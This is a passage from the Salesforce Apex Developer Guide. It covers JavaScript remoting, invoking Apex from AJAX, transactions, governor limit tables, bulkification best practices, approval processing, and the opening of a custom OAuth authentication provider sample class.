•The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important
differences from normal action methods.
269
Visualforce ClassesInvoking Apex
•The response handler callback function you add to or include in your Visualforce page, written in JavaScript.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 2: Remote Request Elements
DescriptionElement
The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
namespace
The name of your Apex controller.controller
The name of the Apex method you’re calling.method
A comma-separated list of parameters that your method takes.parameters
The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
callbackFunction
Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
configuration
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods. To do so,
include the following lines in your AJAX code:
<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>
Note: For AJAX buttons, use the alternate forms of these includes.
To invoke Apex, use one of the following two methods:
•Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's
result type, but as a JavaScript structure.
270
Apex in AJAXInvoking Apex
•Use a class WSDL. For example, you can call the following Apex class:
global class myClass {
webService static Id makeContact(String lastName, Account a) {
Contact c = new Contact(LastName = lastName, AccountId = a.Id);
return c.id;
}
}
By using the following JavaScript code:
var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass","makeContact",
{lastName:"Smith",
a:account});
The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example,
to call the following Apex class:
global class myClass{
webService static String getContextUserName() {
return UserInfo.getFirstName();
}
}
Use the following JavaScript code:
var contextUser = sforce.apex.execute("myClass","getContextUserName", {});
Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke
the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass","getContextUserName",
{});
To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter Packages
in the Quick Find box, then select Packages. If a namespace is defined, it is listed under Developer Settings.
Both examples result in native JavaScript values that represent the return type of the methods.
Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;
271
Apex in AJAXInvoking Apex
CHAPTER 9 Apex Transactions and Governor Limits
Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor
execution limits ensure the efficient use of resources on the Force.com multitenant platform. Most of
In this chapter ...
•Apex Transactions the governor limits are per transaction, and some aren’t, such as 24-hour limits. To make sure Apex
•Execution Governors
and Limits
adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key
relationships in queries. This chapter covers transactions, governor limits, and best practices.
•Set Up Governor Limit
Email Warnings
•Running Apex within
Governor Execution
Limits
272
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete
successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies for calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method causes a trigger to fire, which
in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
Note: An Apex transaction is sometimes referred to as an execution context. Both terms refer to the same thing. This guide uses
the Apex transaction term.
How are Transactions Useful?
Transactions are useful when several operations are related, and either all or none of the operations should be committed. This keeps
the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring
funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account
with the amount to transfer. These two operations need to be committed together to the database. But if the debit operation succeeds
and the credit operation fails, the account balances will be inconsistent.
Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule
failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either commits all
changes to the platform database or rolls back all changes. In this case, we add a new invoice statement with a line item for the pencils
merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils
inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is
enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception.
Code execution halts at this point and all DML operations processed before this exception are rolled back. In this case, the invoice
statement and line item won’t be added to the database, and their insert DML operations are rolled back.
In the Developer Console, execute the static invoice method.
// Only 1,000 pencils are in stock.
// Purchasing 5,000 pencils cause the validation rule to fail,
// which results in an exception in the invoice method.
Id invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');
This is the definition of the invoice method. In this case, the update of total inventory causes an exception due to the validation rule
failure. As a result, the invoice statements and line items will be rolled back and won’t be inserted into the database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c
273
Apex TransactionsApex Transactions and Governor Limits
FROM Merchandise__c WHERE Name = :pName LIMIT 1];
// break if no merchandise is found
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;
// Add a new line item to the invoice
Line_Item__c li = new Line_Item__c(
Name = '1',
Invoice_Statement__c = i.Id,
Merchandise__c = m.Id,
Unit_Price__c = m.Price__c,
Units_Sold__c = pSold);
insert li;
// Update the inventory of the merchandise item
m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
}
}
Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits to ensure that runaway Apex code or
processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception
that cannot be handled.
The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections.
•Per-Transaction Apex Limits
•Per-Transaction Certified Managed Package Limits
•Force.com Platform Apex Limits
•Static Apex Limits
•Size-Specific Apex Limits
•Miscellaneous Apex Limits
In addition to the core Apex governor limits, email limits and push notification limits are also included later in this topic for your
convenience.
Per-Transaction Apex Limits
These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the
execute method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different. Otherwise,
this table lists only one limit that applies to both synchronous and asynchronous Apex.
274
Execution Governors and LimitsApex Transactions and Governor Limits
Asynchronous
Limit
Synchronous
Limit
Description
200100Total number of SOQL queries issued1 (This limit doesn’t apply to custom metadata types.
In a single Apex transaction, custom metadata records can have unlimited SOQL queries.)
50,000Total number of records retrieved by SOQL queries
10,000Total number of records retrieved by Database.getQueryLocator
20Total number of SOSL queries issued
2,000Total number of records retrieved by a single SOSL query
150Total number of DML statements issued2
10,000Total number of records processed as a result of DML statements, Approval.process,
or database.emptyRecycleBin
16Total stack depth for any Apex invocation that recursively fires triggers due to insert,
update, or delete statements3
100Total number of callouts (HTTP requests or Web services calls) in a transaction
120 secondsMaximum timeout for all callouts (HTTP requests or Web services calls) in a transaction
50Maximum number of methods with the future annotation allowed per Apex invocation
50Maximum number of Apex jobs added to the queue with System.enqueueJob
10Total number of sendEmail methods allowed
12 MB6 MBTotal heap size4
60,000 milliseconds10,000 millisecondsMaximum CPU time on the Salesforce servers5
10 minutesMaximum execution time for each Apex transaction
10Maximum number of push notification method calls allowed per Apex transaction
2,000Maximum number of push notifications that can be sent in each push notification method
call
1 In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the
row counts of the overall code execution. In addition to static SOQL statements, calls to the following methods count against the number
of SOQL statements issued in a request.
•Database.countQuery
•Database.getQueryLocator
•Database.query
2 Calls to the following methods count against the number of DML queries issued in a request.
•Approval.process
•Database.convertLead
•Database.emptyRecycleBin
275
Execution Governors and LimitsApex Transactions and Governor Limits
•Database.rollback
•Database.setSavePoint
•delete and Database.delete
•insert and Database.insert
•merge and Database.merge
•undelete and Database.undelete
•update and Database.update
•upsert and Database.upsert
•System.runAs
3 Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation
of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a
single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4 Email services heap size is 36 MB.
5 CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that don’t consume application server CPU time aren’t counted
toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn’t counted, nor is waiting
time for Apex callouts.
Note:
•Limits apply individually to each testMethod.
•To determine the code execution limits for your code while it is running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.
Per-Transaction Certified Managed Package Limits
Certified managed packages—managed packages that have passed the security review for AppExchange—get their own set of limits
for most per-transaction limits. Certified managed packages are developed by Salesforce ISV Partners, are installed in your org from
Force.com AppExchange, and have unique namespaces.
Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed
package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML
statements your org’s native code can execute. This limit increase means more than 150 DML statements can execute during a single
transaction if code from the managed package and your native org both execute. Similarly, the certified managed package gets its own
100-SOQL-query limit for synchronous Apex, in addition to the org’s native code limit of 100 SOQL queries.
There’s no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations
that can be performed in each namespace must not exceed the per-transaction limits. There’s also a limit on the cumulative number of
operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example,
if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative
limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long
as any one namespace doesn't have more than 100 queries. The cumulative limit doesn’t affect limits that are shared across all namespaces,
such as the limit on maximum CPU time.
276
Execution Governors and LimitsApex Transactions and Governor Limits
Note: These cross-namespace limits apply only to namespaces in certified managed packages. Namespaces in packages that are
not certified don’t have their own separate governor limits. The resources they use continue to count against the same governor
limits used by your org's custom code.
This table lists the cumulative cross-namespace limits.
Cumulative
Cross-Namespace Limit
Description
1,100Total number of SOQL queries issued
110,000Total number of records retrieved by Database.getQueryLocator
220Total number of SOSL queries issued
1,650Total number of DML statements issued
1,100Total number of callouts (HTTP requests or Web services calls) in a transaction
110Total number of sendEmail methods allowed
All per-transaction limits count separately for certified managed packages except for:
•The total heap size
•The maximum CPU time
•The maximum transaction execution time
•The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
Also, if you install a package from AppExchange that isn’t created by a Salesforce ISV Partner and isn’t certified, the code from that
package doesn’t have its own separate governor limits. Any resources it uses count against the total governor limits for your org.
Cumulative resource messages and warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs.
Force.com Platform Apex Limits
The limits in this table aren’t specific to an Apex transaction and are enforced by the Force.com platform.
LimitDescription
250,000 or the number of user
licenses in your org multiplied
by 200, whichever is greater
The maximum number of asynchronous Apex method executions (batch Apex, future methods,
Queueable Apex, and scheduled Apex) per a 24-hour period1
10Number of synchronous concurrent requests for long-running requests that last longer than 5 seconds
for each org.2
100Maximum number of Apex classes scheduled concurrently
100Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status
5Maximum number of batch Apex jobs queued or active concurrently3
277
Execution Governors and LimitsApex Transactions and Governor Limits
LimitDescription
1Maximum number of batch Apex job start method concurrent executions4
5Maximum number of batch jobs that can be submitted in a running test
The greater of 500 or 10
multiplied by the number of test
classes in the org
Maximum number of test classes that can be queued per 24-hour period (production orgs other
than Developer Edition)5
The greater of 500 or 20
multiplied by the number of test
classes in the org
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer
Edition orgs)5
50Maximum number of query cursors open concurrently per user6
15Maximum number of query cursors open concurrently per user for the Batch Apex start method
5Maximum number of query cursors open concurrently per user for the Batch Apex execute and
finish methods
To external endpoints: 20
Maximum simultaneous requests to URLs with the same host for a callout request7
To endpoints within your
Salesforce org’s domain:
unlimited
1 For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. To check how many
asynchronous Apex executions are available, make a request to the REST API limits resource. See List Organization Limits in the
Force.com REST API Developer Guide. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription
user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included.
2 If more requests are made while the 10 long-running requests are still running, they’re denied.
3 When batch jobs are submitted, they’re held in the flex queue before the system queues them for processing.
4 Batch jobs that haven’t started yet remain in the queue until they’re started. If more than one job is running, this limit doesn’t cause
any batch job to fail and execute methods of batch Apex jobs still run in parallel.
5 This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6 For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of
the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query
cursors, 15 cursors for the Batch Apex start method, 5 cursors each for the Batch Apex execute and finish methods, and 5
Visualforce cursors open at the same time.
7The host is defined by the unique subdomain for the URL—for example, www.mysite.com and extra.mysite.com are two
different hosts. This limit is calculated across all orgs that access the same host. If this limit is exceeded, a CalloutException is
thrown.
278
Execution Governors and LimitsApex Transactions and Governor Limits
Static Apex Limits
LimitDescription
10 secondsDefault timeout of callouts (HTTP requests or Web services calls) in a transaction
6 MB for synchronous Apex or
12 MB for asynchronous Apex
Maximum size of callout request or response (HTTP request or Web services call)1
120 secondsMaximum SOQL query run time before Salesforce cancels the transaction
5,000Maximum number of class and trigger code units in a deployment of Apex
200For loop list batch size
50 millionMaximum number of records returned for a Batch Apex query in Database.QueryLocator
1The HTTP request and response sizes count towards the total heap size.
Size-Specific Apex Limits
LimitDescription
1 millionMaximum number of characters for a class
1 millionMaximum number of characters for a trigger
3 MBMaximum amount of code used by all Apex code in an org1
65,535 bytecode instructions in
compiled form
Method size limit 2
1 This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange
Certified). The code in those types of packages belongs to a namespace unique from the code in your org. For more information on
AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a
class defined with the @isTest annotation.
2 Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
Miscellaneous Apex Limits
SOQL Query Performance
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the
system can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger
executes against an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective. See More
Efficient SOQL Queries.
Chatter in Apex
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both
279
Execution Governors and LimitsApex Transactions and Governor Limits
have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException
is thrown. Your Apex code must catch and handle this exception.
Event Reports
The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for system
administrators, 100,000.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers on account, contact, or lead records
that run SOQL queries, the queries can interfere with Clean jobs for those objects. Your Apex triggers (combined) must not exceed
200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your triggers call future methods, they
are subject to a limit of 10 future calls per batch.
Email Limits
Inbound Email Limits
Number of user licenses multiplied by
1,000; maximum 1,000,000
Email Services: Maximum Number of Email Messages Processed
(Includes limit for On-Demand Email-to-Case)
10 MB1
Email Services: Maximum Size of Email Message (Body and Attachments)
25 MBOn-Demand Email-to-Case: Maximum Email Attachment Size
Number of user licenses multiplied by
1,000; maximum 1,000,000
On-Demand Email-to-Case: Maximum Number of Email Messages Processed
(Counts toward limit for Email Services)
1 The maximum size of email messages for Email Services varies depending on language and character set. The size of an email
message includes the email headers, body, attachments, and encoding. As a result, an email with a 25 MB attachment likely exceeds
the 25 MB size limit for an email message after accounting for the headers, body, and encoding..
When defining email services, note the following:
•An email service only processes messages it receives at one of its addresses.
•Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email
messages a day.
•Email service addresses that you create in your sandbox cannot be copied to your production org.
•For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
•Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich
Mean Time (GMT). Single emails sent using the email author or composer in Salesforce don't count toward this limit. There’s no limit
on sending individual emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
280
Execution Governors and LimitsApex Transactions and Governor Limits
When sending single emails, keep in mind:
•You can specify up to 100 recipients for the To field and up to 25 recipients for the CC and BCC fields in each
SingleEmailMessage.
•If you use SingleEmailMessage to email your org’s internal users, specifying the user’s ID in setTargetObjectId
means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresses in setToAddresses
means the email does count toward the limit.
You can send mass email to a maximum of 5,000 external email addresses per day per org based on Greenwich Mean Time (GMT).
Note:
•The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
•You can send an unlimited amount of email to your org’s internal users, which includes portal users.
•You can send mass emails only to contacts, person accounts, leads, and your org’s internal users.
•In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send mass email to no more than
10 external email addresses per day. This lower limit doesn’t apply if your org was created before the Winter ’12 release
and already had mass email enabled with a higher limit. Additionally, your org can send single emails to a maximum of
15 email addresses per day.
Push Notification Limits
The maximum push notifications allowed for each mobile app associated with your Salesforce org depends on the type of app.
Maximum notifications per app per dayMobile application type
50,000Provided by Salesforce (for example, Salesforce1)
35,000Developed by your company for internal employee use
5,000Installed from the AppExchange
Only deliverable notifications count toward this limit. For example, consider the scenario where a notification is sent to 1,000 employees
in your company, but 100 employees haven’t installed the mobile application yet. Only the notifications sent to the 900 employees who
have installed the mobile application count toward this limit.
Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications
count toward an application’s daily push notification limit.
SEE ALSO:
Asynchronous Callout Limits
Set Up Governor Limit Email Warnings
You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated
governor limits.
1. Log in to Salesforce as an administrator user.
2. From Setup, enter Users in the Quick Find box, then select Users.
281
Set Up Governor Limit Email WarningsApex Transactions and Governor Limits
3. Click Edit next to the name of the user to receive the email notifications.
4. Select the Send Apex Warning Emails option.
5. Click Save.
Running Apex within Governor Execution Limits
Unlike traditional software development, developing software in a multitenant cloud environment, the Force.com platform, relieves you
from having to scale your code because the Force.com platform does it for you. Because resources are shared in a multitenant platform,
the Apex runtime engine enforces a set of governor execution limits to ensure that no one transaction monopolizes shared resources.
Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that can’t
be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 T-shirts.
Would you wash them one by one—one per load of laundry, or would you group them in batches for just a few loads? The benefit of
coding in the cloud is that you learn how to write more efficient code and waste fewer resources.
The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML
statements. There are some other limits that aren’t transaction bound, such as the number of batch jobs that can be queued or active
at one time.
The following are some best practices for writing code that doesn’t exceed certain governor limits.
Bulkifying DML Calls
Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The
following is an example that doesn’t bulkify DML operations, and the next example shows the recommended way of calling DML
statements.
Example: DML calls on single sObjects
The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the Description__c
field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for
exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution.
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update li;
}
Recommended Alternative: DML calls on sObject lists
This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a
new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list.
List<Line_Item__c> updatedList = new List<Line_Item__c>();
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}
282
Running Apex within Governor Execution LimitsApex Transactions and Governor Limits
// Once DML call for the entire list of line items
update updatedList;
More Efficient SOQL Queries
Placing SOQL queries inside for loop blocks isn’t a good practice because the SOQL query executes once for each iteration and may
surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in Trigger.new,
which isn’t efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query.
Example: Inefficient querying of child items
The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed inside the
loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus
contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The second example solves this
problem by creating another SOQL query that can be called only once.
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
for(Invoice_Statement__c inv : Trigger.new) {
// This SOQL query executes once for each item in Trigger.new.
// It gets the line items for each invoice statement.
List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
FROM Line_Item__c
WHERE Invoice_Statement__c = :inv.Id];
for(Line_Item__c li : liList) {
// Do something
}
}
}
Recommended Alternative: Querying of child items with one SOQL query
This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice
statements that are part of Trigger.new and also gets their line items through the nested query. In this way, only one SOQL query
is performed and we’re still within our limits.
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
// Perform SOQL query outside of the for loop.
// This SOQL query runs once for all items in Trigger.new.
List<Invoice_Statement__c> invoicesWithLineItems =
[SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)
FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()];
for(Invoice_Statement__c inv : invoicesWithLineItems) {
for(Line_Item__c li : inv.Line_Items__r) {
// Do something
}
}
}
283
Running Apex within Governor Execution LimitsApex Transactions and Governor Limits
SOQL For Loops
Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code
running synchronously and it is higher for asynchronous code execution.
Example: Query without a for loop
The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned
merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.
List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c];
Recommended Alternative: Query within a for loop
To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200
records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results, and gets recreated
for every batch.
for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){
// Do something.
}
284
Running Apex within Governor Execution LimitsApex Transactions and Governor Limits
CHAPTER 10 Using Salesforce Features with Apex
Several Salesforce application features in the user interface are exposed in Apex enabling programmatic
access to those features in the Force.com platform.
In this chapter ...
•Actions For example, using Chatter in Apex enables you to post a message to a Chatter feed. Using the approval
methods, you can submit approval process requests and approve these requests.
•Approval Processing
•Authentication
•Chatter Answers and
Ideas
•Chatter in Apex
•Moderate Chatter
Private Messages
with Triggers
•Moderate Feed Items
with Triggers
•Communities
•Email
•Platform Cache
•Salesforce
Knowledge
•Salesforce Connect
•Salesforce Reports
and Dashboards API
via Apex
•Force.com Sites
•Support Classes
•Territory
Management 2.0
•Visual Workflow
285
Actions
Create actions and add them to the Chatter publisher on the home page, on the Chatter tab, in Chatter groups, and on record detail
pages. Choose from standard actions, such as create and update actions, or create actions based on your company’s needs.
•Create actions let users create records. They’re different from the Quick Create and Create New features on the Salesforce home page,
because create actions respect validation rules and field requiredness, and you can choose each action’s fields.
•Custom actions are actions that you create and customize yourself, such as Create a Record, Send Email, or Log a Call actions. They
can also invoke Lightning components, Visualforce pages, or canvas apps with functionality that you define. For example, you can
create a custom action so that users can write comments that are longer than 5,000 characters, or create one that integrates a
video-conferencing application so that support agents can communicate visually with customers.
For create, log-a-call, and custom actions, you can create either object-specific actions or global actions. Update actions must be
object-specific.
For more information on actions, see the online help.
SEE ALSO:
QuickAction Class
QuickActionRequest Class
QuickActionResult Class
DescribeQuickActionResult Class
DescribeQuickActionDefaultValue Class
DescribeLayoutSection Class
DescribeLayoutRow Class
DescribeLayoutItem Class
DescribeLayoutComponent Class
DescribeAvailableQuickActionResult Class
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
who to request approval from and what to do at each point of the process.
•Use the Apex process classes to create approval requests and process the results of those requests:
–ProcessRequest Class
–ProcessResult Class
–ProcessSubmitRequest Class
–ProcessWorkitemRequest Class
•Use the Approval.process method to submit an approval request and approve or reject existing approval requests. For more
information, see Approval Class.
Note: The process method counts against the DML limits for your organization. See Execution Governors and Limits.
For more information about approval processes, see “Set Up an Approval Process” in the Salesforce online help.
286
ActionsUsing Salesforce Features with Apex
IN THIS SECTION:
Apex Approval Processing Example
Apex Approval Processing Example
The following sample code initially submits a record for approval, then approves the request. This example requires an approval process
to be set up for accounts.
public class TestApproval {
void submitAndProcessApprovalRequest() {
// Insert an account
Account a = new Account(Name='Test',annualRevenue=100.0);
insert a;
User user1 = [SELECT Id FROM User WHERE Alias='SomeStandardUser'];
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(a.id);
// Submit on behalf of a specific submitter
req1.setSubmitterId(user1.Id);
// Submit the record to specific process and skip the criteria evaluation
req1.setProcessDefinitionNameOrId('PTO_Request_Process');
req1.setSkipEntryCriteria(true);
// Submit the approval request for the account
Approval.ProcessResult result = Approval.process(req1);
// Verify the result
System.assert(result.isSuccess());
System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());
// Approve the submitted request
// First, get the ID of the newly created item
List<Id> newWorkItemIds = result.getNewWorkitemIds();
// Instantiate the new ProcessWorkitemRequest object and populate it
Approval.ProcessWorkitemRequest req2 =
new Approval.ProcessWorkitemRequest();
req2.setComments('Approving request.');
req2.setAction('Approve');
req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));
287
Apex Approval Processing ExampleUsing Salesforce Features with Apex
// Submit the request for approval
Approval.ProcessResult result2 = Approval.process(req2);
// Verify the results
System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());
System.assertEquals(
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and
your users’ use patterns.
IN THIS SECTION:
Create a Custom Authentication Provider Plug-in
You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Create a Custom Authentication Provider Plug-in
You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Single sign-on (SSO) lets users access authorized network resources with one login. You validate usernames and passwords against your
corporate user database or other client app rather than Salesforce managing separate passwords for each resource. Out of the box,
Salesforce supports several external authentication providers for single sign-on, including Facebook, Google, LinkedIn, and service
providers that implement the OpenID Connect protocol. By creating a plug-in with Apex, you can add your own OAuth-based
authentication provider. Your users can then use the SSO credentials they already use for non-Salesforce applications with your Salesforce
orgs.
Before you create your Apex class, you create a custom metadata type record for your authentication provider. For details, see Create a
Custom External Authentication Provider.
Sample Classes
This example extends the abstract class Auth.AuthProviderPluginClass to configure an external authentication provider
called Concur. Build the sample classes and sample test classes in the following order.
1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
4. ConcurTestClass
global class Concur extends Auth.AuthProviderPluginClass {
public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration
288
AuthenticationUsing Salesforce Features with Apex
private String key;
private String secret;
private String authUrl; // application redirection to the Concur website
for authentication and authorization
private String accessTokenUrl; // uri to get the new access token from
concur using the GET verb
private String customMetadataTypeApiName; // api name for the custom metadata
type created for this auth provider
private String userAPIUrl; // api url to access the user in concur
private String userAPIVersionUrl; // version of the user api url to access
data from concur
global String getCustomMetadataType() {
return customMetadataTypeApiName;
}
global PageReference initiate(Map<string,string> authProviderConfiguration,
String stateToPropagate) {
authUrl = authProviderConfiguration.get('Auth_Url__c');
key = authProviderConfiguration.get('Key__c');
//Here the developer can build up a request of some sort
//Ultimately they’ll return a URL where we will redirect the user
